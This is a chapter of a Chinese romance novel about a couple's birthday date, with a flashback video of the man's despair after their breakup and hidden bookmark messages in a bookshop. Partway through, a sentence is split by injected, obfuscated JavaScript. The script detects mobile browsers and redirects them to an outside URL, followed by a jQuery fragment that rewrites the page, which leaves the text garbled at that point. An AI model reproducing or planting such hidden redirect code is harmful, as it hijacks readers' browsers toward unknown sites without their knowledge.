到十二月，天气愈发阴冷，月初下了两场雨夹雪。


    陈启忙得脚不沾地，一周有一半的时间不在家住，但每天中午都抽时间去络通财经楼陪时雨吃饭。


    公司的人戏称他有午餐打卡任务，他乐得接受，开会开一半，大衣往臂弯上一挂就走：“该打卡了。”


    财经楼没给陈启录门禁，不妨碍他畅通无阻。络通女婿的身份就是通行证，整栋楼的人明面称他小陈总，私底下取外号叫驸马。


    有一次，共享中心的小实习生跟他同电梯，心里一紧张，脱口而出：“驸马好！”


    陈启以为自己耳朵出问题，不然怎么穿越回古代了。


    小实习生磕磕巴巴解释：“因为，因为我们偷偷管时雨姐叫公主……”


    陈启莞尔：“挺好的，随你们怎么叫。”


    十二月十五号那天，时雨还有流程没处理完，坚强地从陈启怀里爬出来，说要加班。


    陈启竖起三根手指说：“三十分钟，剩下的时间要去约会。”


    时雨默默地掰着他的手，把五根手指都竖起来：“五十分钟。”


    陈启挑眉，时雨亲他，亲完了说：“等我。”


    书房就在隔壁，时雨很有先见之明地反锁了。任何离谱的行为都是因为有教训，比如昨天，时雨在加班赶进度，陈启非要她坐在自己腿上赶，结果加班加一半做别的去了，根本安分不了。


    隔着一堵墙，陈启给时雨发微信：“宝宝，我上旬拼命加班，就是为了空出这一天。”


    时雨看见了当没看见，不回复。


    陈启无所事事地翻朋友圈，刷到周展宇拍的一张照片，很是抽象的油画，依稀能看出雪景的轮廓。


    他给周展宇发消息：“对象生日，该怎么准备惊喜？”


    周展宇秒回：“现在才问是不是太晚了，兄弟。”


    陈启：其实我有准备，想听听额外的建议。


    周展宇：咨询费两万。


    陈启：拉黑了。


    周展宇：拉黑呗，我把你过去三年在时雨生日这天要死要活的实录发朋友圈。


    陈启：什么东西？


    周展宇发了一个视频文件过来，陈启点进去，天生冷淡的眉眼渐渐破冰，带上几分酸涩的痛感。


    录像显示的场景是丽贝湾，时间是陈启被分手第二年。


    周展宇把坐在地上抽烟的陈启拽起来：“抽了多少根，怎么没把你抽死？”


    陈启间歇性自暴自弃发作：“是啊，怎么没把我抽死，反正也不想活了。”


    周展宇：“成天死死死的，时雨乐意看到你这样？”


    陈启：“她都不要我了，管我是死是活？世达二公子没了，至少也算个小新闻，我的名字总算，又能出现在她耳边了。”


    周展宇：“我提前帮你报丧得了。”


    陈启：“你去，你去啊！快点儿的，我就想知道，她会不会为我伤心。”


    周展宇抢走他手上的烟，扔在地上踩了两脚。


    “这视频是录给时雨看的，”周展宇指了指相机，“理由是全班同学给班长送祝福。从学号零二开始，按顺序录到最后一个。你收拾收拾自己，至少像个人样，免得时雨看到祝福视频里的你，庆幸当初分手真他妈的对。”


    陈启沉默，两行眼泪突然下来了，冷笑说：“我不录，就当咱班没有37号。”


    周展宇说：“给你机会还不要？我服了，刚还叫我去给时雨报丧呢，就为了让自己的名字在她的世界里再出现一次。我为了你，喊全班同学拍祝福视频，你给我说不录？”


    “她不想看见我，”陈启的眼泪一颗一颗往下掉，“过生呢，多开心的日子，谁要看前男友的祝福视频，破坏心情。”


    周展宇难得没有呛声，伸手扯了张纸巾递给他，看他胡乱地在脸上抹，怎么都擦不干眼泪。


    “不想录就算了，”周展宇准备关掉相机，“哭得真丑。”


    画面被手掌遮住，黑暗中只有声音留下，陈启说：“美东时间这个点，也到十五号了。时雨，生日快乐。”


    视频播到最后，陈启确信，周展宇要是敢发朋友圈，他绝对要跟他绝交。


    回头看，他都觉得自己可怜。


    可更难过的是，彼时时雨并不像他想的那样，正愉快地度过自己的研究生生活，而是在一大把一大把地吃药。


    她有多痛，他不敢想象。


    陈启：不拉黑，你是我大哥，我求你了。


    周展宇：看在你叫我一声大哥的份上，不发朋友圈，私发濛濛了。


    陈启：？！


    五分钟后，书房的门开了。陈启尚来不及想解释的托词，就见时雨眼圈红红地走进房间，钻进他怀里低声呜咽。


    “你看到了？”陈启揉着她后脑勺的头发，“工作开小差，有时间看周展宇发的视频，不回复我微信是吧？”


    时雨哭得说不出话，甚至有点喘不上气。


    “不哭了，再哭我心碎了。”


    陈启胸前的睡衣被泪水沾湿，他手足无措，不知怎么安慰恋人。


    时雨一口气哭了十分钟，抬起头，陈启拽来盖在身上的羊绒毯给她擦眼泪。


    “怎么办，”陈启捧起她的脸来亲，“哭这么惨还是好漂亮，不像我，哭起来很丑。”


    时雨摇头，话语里仍带抽泣声：“别听周展宇瞎说。”


    “对，他瞎说，我才没有在你生日这天要死要活。”


    “不是，这有视频。”


    “你就当没看过，好不好？”


    “不好。”


    陈启没辙，耐心地吻去她脸上泪花，转移话题问：“那一天你在干什么，还记得吗？”


    时雨记得，但说不记得。


    陈启说：“病历纪录，这一天你因为感染进抢救室了，抢救时间是三个小时。”


    时雨微愕：“你就看一遍，记这么清楚？”


    “这是你生日的日期，”陈启哑声说，“我很难不注意到。”


    时雨双标也理直气壮：“都过去了，大好日子不要哭。”


    她抬高身体，双手托着陈启的下颌，抚摸他泛红的眼尾。


    陈启笑着说：“你看你，自己哭的时候不说这话。”


    “好嘛，”时雨安抚般亲他，“我们去约会吧。”


    陈启按她后颈，微侧着脸，缱绻地深入。


    “嗯，我们去约会。”


    他好像已经原谅她的隐瞒。那些拒他于千里之外的残酷，自以为是“为你好”的离开，跨越太平洋的两地分隔。到头来，唯有失而复得的狂喜在上涌。


    他们有过去，难得有未来。


    不敢不珍惜。


    —


    消除以痛为底色的回忆，最好方法是创造新的回忆去覆盖它。


    衣帽间里，时雨搭出一套棕咖系情侣装，打破了陈启平时的黑白灰风格。


    陈启故意问：“宝宝，我不需要有自己的审美了吗？”


    时雨说：“不管，今天我们得看起来是一对。”


    她眼睛还是红肿，陈启对上那双眼，调侃的话都噎在喉咙。


    他们的情感需求刚好相反，陈启要时雨为他打造安全堡垒，时雨要为陈启放下高高筑起的心理防线。说到底，似乎又是相同的。


    当时雨在陈启怀里哭，当她学会任性，陈启感到庆幸，纠缠他近十年的阴影正逐渐消失。


    出门前，时雨坐在玄关沙发穿鞋，陈启单膝跪下，给她系上皮靴的鞋带。


    系完鞋带抬头，一双美眼正自上而下望着他，旁人眼里的冷艳，看他的时候常携暖意。


    他跪着索吻，只用目不转睛盯上三秒。


    三，二，一。


    时雨会仁慈地给他一个吻。


    即使浅尝辄止，也足够让他眼底泛起笑意，蔓延去唇角。


    时雨扶着他的肩膀起身，围上长围巾，把下巴埋进围巾里。帽子选的是毛线帽，盖住耳朵，保暖工作相当到位。


    相比之下，陈启穿得单薄。一身深棕色羊毛大衣，内搭米色立领，随意围了一条亚麻棕围巾，看着就嫌冷。


    时雨挽着他：“不穿多点？”


    他摸摸时雨的头：“我有暖宝宝。”


    时雨伸左


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686806|154794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手：“在哪，买暖宝宝不分我几个。”


    陈启牵起她的右手，放在她自己的左手上。


    “在这里。”


    她倏地松了手，重新挽上陈启的胳膊：“那你别离我太远，暖宝宝要贴身用。”


    电梯缓缓下行，陈启看着镜面里的一双人影，装扮相似，相互依偎，任谁看都是恩爱的一对。


    时雨靠他很近，洗发水是和他同款的，散发淡淡薄荷香气。他稍稍低头，能吻到时雨垂下的眼皮，还有颤动如蝶翅的长睫。


    满足感就快要溢出来。


    车早前让人停在楼下，时雨不需要走很远，直接坐上副驾。


    第一个目的地是母校，他们初次相恋的地方。


    时雨看向前方，陈启熟门熟路地往附中开，但到最后一个路口时，朝着相反方向拐去。


    “阿启，我们去哪里？”


    路边商店装点着圣诞元素，店里播LastChristmas，氛围极浪漫。


    陈启在一家书店外停车，帮时雨开车门，牵着她走进书店。


    这家书店有两层，装修复古，楼梯都是用书垒的，扶手也是书。书山书海的世界，是时雨躲避枯燥学习的梦幻仙境。


    有时学烦了，她会请一整天的假出校门，在这里从早待到晚，读完一本跟课业无关的诗集。


    书店主人是个热爱摄影的退休老教授，他随手纪录店内情景，拍到几次时雨的身影，征得同意后挂在二楼的墙上。


    几乎每个进店的人都会对店主说：“大爷，这是你闺女啊？长得真漂亮。”


    时雨出国前，老教授送了她一本精装的《新月集》，其中夹着亲手制成的书签。


    书签摘写一句：“你的生命正值青春，你的道路迢迢无尽；你一口气饮下我们给你的爱，然后便扭头转身，离开我们。”


    诗句停留在叙述，时雨知道，这也是老教授对她的祝福。


    用书签留言是这家书店的惯常做法。因为周围有好几所重点高中和顶尖高校，往来的读书人很多。


    也不知是谁发明的交流方式，总之，读者们会在喜欢的书里夹一张手写书签，宛如在茫茫书海里扔了一只漂流瓶，等候有缘人看见。


    有一段时间，时雨只看固定的几本诗集。从某一天起，书里夹的书签变多了，每一张都是简笔画，图案还能连成简单的意思。


    比如，一颗心加一颗雨滴，大概是说他喜欢时雨。


    对方知道自己名字，时雨没感到奇怪，毕竟她在附中真就是很有名。


    时雨怀疑这人不识字，不然怎么只会画画。


    于是她也回复简笔画，一个微笑或一颗爱心。对方回一双眼睛加一滴雨，再加一根钢笔和一个大笑的表情，大约是说见到她回复的留言很开心。


    过了段时间，对方留的书签还在，时雨留的都不见了。


    她很疑惑，但也没刨根问底。


    如今时过境迁，陈启带她回到这里，虽然什么都没说，她却隐约猜到即将发生的事。


    只画画不写字，也许是因为字迹很容易被熟人认出来。熟人，比如陈启之于时雨。


    书店老板不在店里，他们径自走上二楼，在摆放诗集的书架旁站住。


    陈启取下一本博尔赫斯的诗，随手翻到英文那一篇。书签像落叶一样掉下来，时雨接住，放在手心看。


    “我用什么才能留住你？”


    是陈启的笔迹，落款为2014年的十二月十五日，他们大一第一次分手后。


    陈启再往前翻，另一张书签落下来，时雨也接住了。


    “你转过身的侧影，组成你名字的发音，你有韵律的笑声：这些情景都让我久久回味。”


    仍然是陈启的笔迹，落款为2010年的五月二十日，他们还没有正式在一起。


    诗集像小精灵的口袋，抖着抖着掉落新的礼物。


    最后一张书签写着时雨生日快乐，尾端有一颗小爱心，用红色油彩画的，和陈启旧相片框里的那颗长得差不多。


    落款日期是……时雨眸光聚焦于书签右下角，看到今天的日期。